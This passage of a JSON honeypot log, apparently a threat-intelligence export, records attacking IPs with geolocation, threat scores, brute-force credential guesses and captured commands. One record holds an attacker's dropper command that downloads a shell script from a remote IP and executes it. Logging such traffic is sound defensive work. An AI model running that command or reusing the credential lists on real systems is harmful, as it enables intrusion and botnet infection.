      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:39:02.225000+00:00",
        "last_seen_30d": "2026-05-31T11:44:17.500000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 56
      }
    },
    "119.102.233.249": {
      "attack_count": 112,
      "first_seen": "2026-05-19T10:31:28.031Z",
      "last_seen": "2026-05-19T16:16:22.797Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:31:28.031000+00:00",
        "last_seen_30d": "2026-05-19T16:17:25.328000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 61
      }
    },
    "208.87.243.43": {
      "attack_count": 108,
      "first_seen": "2026-05-05T04:31:34.492Z",
      "last_seen": "2026-05-16T09:46:52.858Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:31:34.492000+00:00",
        "last_seen_30d": "2026-05-16T09:48:00.304000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "68.235.56.91": {
      "attack_count": 102,
      "first_seen": "2026-05-14T16:54:24.632Z",
      "last_seen": "2026-05-21T17:19:30.595Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T16:54:24.632000+00:00",
        "last_seen_30d": "2026-05-21T17:20:34.167000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "178.206.232.165": {
      "attack_count": 97,
      "first_seen": "2026-05-12T19:01:08.297Z",
      "last_seen": "2026-05-12T21:19:31.557Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1996",
        "1q",
        "Asdf123#",
        "Password2022",
        "centosroot",
        "dolphinscheduler123",
        "escape",
        "ferrari355",
        "herkules",
        "holahola",
        "jenkins",
        "jonas123",
        "k0nig_123",
        "mmpOs",
        "openfire",
        "praveen",
        "slick",
        "tally",
        "zzz123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Naberezhnyye Chelny",
      "asn": 28840,
      "as_org": "Pjsc tattelecom",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:01:08.297000+00:00",
        "last_seen_30d": "2026-05-12T21:29:36.497000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 97,
        "Suricata": 59
      }
    },
    "177.136.35.157": {
      "attack_count": 92,
      "first_seen": "2026-05-18T22:03:34.919Z",
      "last_seen": "2026-05-19T06:22:46.122Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 52871,
      "as_org": "TASCOM TELECOMUNICACOES LTDA",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:03:34.919000+00:00",
        "last_seen_30d": "2026-05-19T06:23:48.735000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 49
      }
    },
    "195.178.110.26": {
      "attack_count": 80,
      "first_seen": "2026-05-18T20:36:53.469Z",
      "last_seen": "2026-05-18T21:04:39.474Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu",
        "validator",
        "node",
        "solana",
        "solv"
      ],
      "passwords_attempted": [
        "solana",
        "123",
        "1234",
        "1234qwer",
        "1q2w3e4r",
        "321",
        "4321",
        "node",
        "qwer1234",
        "sol",
        "sol321",
        "solv",
        "ubuntu",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T20:34:55.270000+00:00",
        "last_seen_30d": "2026-05-18T21:05:45.456000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 39
      }
    },
    "34.22.126.200": {
      "attack_count": 73,
      "first_seen": "2026-05-20T06:11:23.782Z",
      "last_seen": "2026-05-20T06:12:16.265Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3640",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:11:23.782000+00:00",
        "last_seen_30d": "2026-05-20T06:13:25.925000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "34.38.49.255": {
      "attack_count": 73,
      "first_seen": "2026-05-31T04:18:21.808Z",
      "last_seen": "2026-05-31T04:19:23.127Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4607",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T04:18:21.808000+00:00",
        "last_seen_30d": "2026-05-31T04:20:29.026000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "68.235.52.3": {
      "attack_count": 60,
      "first_seen": "2026-05-10T05:07:45.139Z",
      "last_seen": "2026-05-16T17:05:54.809Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:07:45.139000+00:00",
        "last_seen_30d": "2026-05-16T17:06:55.100000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 31
      }
    },
    "93.185.167.89": {
      "attack_count": 60,
      "first_seen": "2026-05-08T16:59:32.724Z",
      "last_seen": "2026-05-13T01:04:13.424Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Almere Stad",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:59:32.724000+00:00",
        "last_seen_30d": "2026-05-13T01:05:23.103000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "182.127.69.22": {
      "attack_count": 42,
      "first_seen": "2026-05-09T12:34:53.909Z",
      "last_seen": "2026-05-09T12:39:26.314Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:34:53.909000+00:00",
        "last_seen_30d": "2026-05-09T12:40:29.899000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "34.38.142.34": {
      "attack_count": 39,
      "first_seen": "2026-05-05T14:53:33.830Z",
      "last_seen": "2026-05-05T14:53:44.114Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:53:33.830000+00:00",
        "last_seen_30d": "2026-05-05T14:54:52.203000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "191.12.125.63": {
      "attack_count": 32,
      "first_seen": "2026-05-21T14:08:44.521Z",
      "last_seen": "2026-05-22T06:10:45.138Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:08:44.521000+00:00",
        "last_seen_30d": "2026-05-22T06:11:50.171000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 16
      }
    },
    "31.56.209.125": {
      "attack_count": 32,
      "first_seen": "2026-05-10T20:58:47.597Z",
      "last_seen": "2026-05-10T23:08:55.436Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "telecomadmin",
        "admin",
        "user"
      ],
      "passwords_attempted": [
        "admintelecom",
        "",
        "admin",
        "root",
        "user"
      ],
      "commands_executed": [
        "./",
        "",
        "/bin/busybox TEST",
        "cat /proc",
        "echo MAGIC_PAYLOAD_KILLER_HERE_OR_LEAVE_EMPTY_iranbot_was_here cd /tmp; rm -f cat.sh; rm -rf iran.*; wget http://176.65.139.42/cat.sh; chmod 777 cat.sh; ./cat.sh telnet",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209373,
      "as_org": "Swissnet LLC",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T12:28:13+00:00",
        "last_seen_30d": "2026-05-29T18:48:02.219000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 15,
        "Honeytrap": 1
      }
    },
    "45.233.26.119": {
      "attack_count": 32,
      "first_seen": "2026-05-23T22:24:31.018Z",
      "last_seen": "2026-05-23T22:32:37.832Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Arcoverde",
      "asn": 267298,
      "as_org": "SILVESTRE EVANGELISTA ALVES ME",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:24:31.018000+00:00",
        "last_seen_30d": "2026-05-23T22:33:44.508000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "102.67.141.165": {
      "attack_count": 30,
      "first_seen": "2026-05-08T16:13:59.990Z",
      "last_seen": "2026-05-31T17:58:52.636Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 328170,
      "as_org": "DataKeepers",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:13:59.990000+00:00",
        "last_seen_30d": "2026-05-31T18:00:02.008000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "117.242.152.5": {
      "attack_count": 30,
      "first_seen": "2026-05-19T14:19:51.920Z",
      "last_seen": "2026-05-19T21:25:14.785Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:19:51.920000+00:00",
        "last_seen_30d": "2026-05-20T05:52:26.874000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "176.65.131.192": {
      "attack_count": 30,
      "first_seen": "2026-05-05T03:54:55.505Z",
      "last_seen": "2026-05-27T09:40:51.852Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:54:55.505000+00:00",
        "last_seen_30d": "2026-05-27T09:42:01.978000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "139.99.216.24": {
      "attack_count": 24,
      "first_seen": "2026-05-12T04:52:59.653Z",
      "last_seen": "2026-05-30T07:10:34.233Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:52:59.653000+00:00",
        "last_seen_30d": "2026-05-30T07:11:41.383000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "103.244.172.226": {
      "attack_count": 18,
      "first_seen": "2026-05-31T09:29:22.305Z",
      "last_seen": "2026-05-31T09:31:18.711Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:29:22.305000+00:00",
        "last_seen_30d": "2026-05-31T09:32:27.838000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "192.141.149.201": {
      "attack_count": 18,
      "first_seen": "2026-05-14T03:41:23.798Z",
      "last_seen": "2026-05-14T03:53:51.466Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Malague\u00f1o",
      "asn": 265786,
      "as_org": "MUNICIPALIDAD DE MALAGUENO",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:41:23.798000+00:00",
        "last_seen_30d": "2026-05-14T03:59:52.162000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 12
      }
    },
    "66.132.172.104": {
      "attack_count": 16,
      "first_seen": "2026-05-17T07:34:02.748Z",
      "last_seen": "2026-05-29T02:35:15.088Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:18:28+00:00",
        "last_seen_30d": "2026-05-31T22:02:41.371000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 47,
        "Cowrie": 16,
        "Tanner": 7,
        "Sentrypeer": 1
      }
    },
    "190.89.29.39": {
      "attack_count": 14,
      "first_seen": "2026-05-24T02:19:59.351Z",
      "last_seen": "2026-05-24T02:34:19.999Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:19:59.351000+00:00",
        "last_seen_30d": "2026-05-24T02:35:44.131000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "86.29.224.20": {
      "attack_count": 14,
      "first_seen": "2026-05-12T16:11:30.496Z",
      "last_seen": "2026-05-12T16:25:54.009Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:11:30.496000+00:00",
        "last_seen_30d": "2026-05-12T16:27:02.029000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "192.42.116.21": {
      "attack_count": 13,
      "first_seen": "2026-05-04T20:14:41.246Z",
      "last_seen": "2026-05-23T15:41:39.088Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2025support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
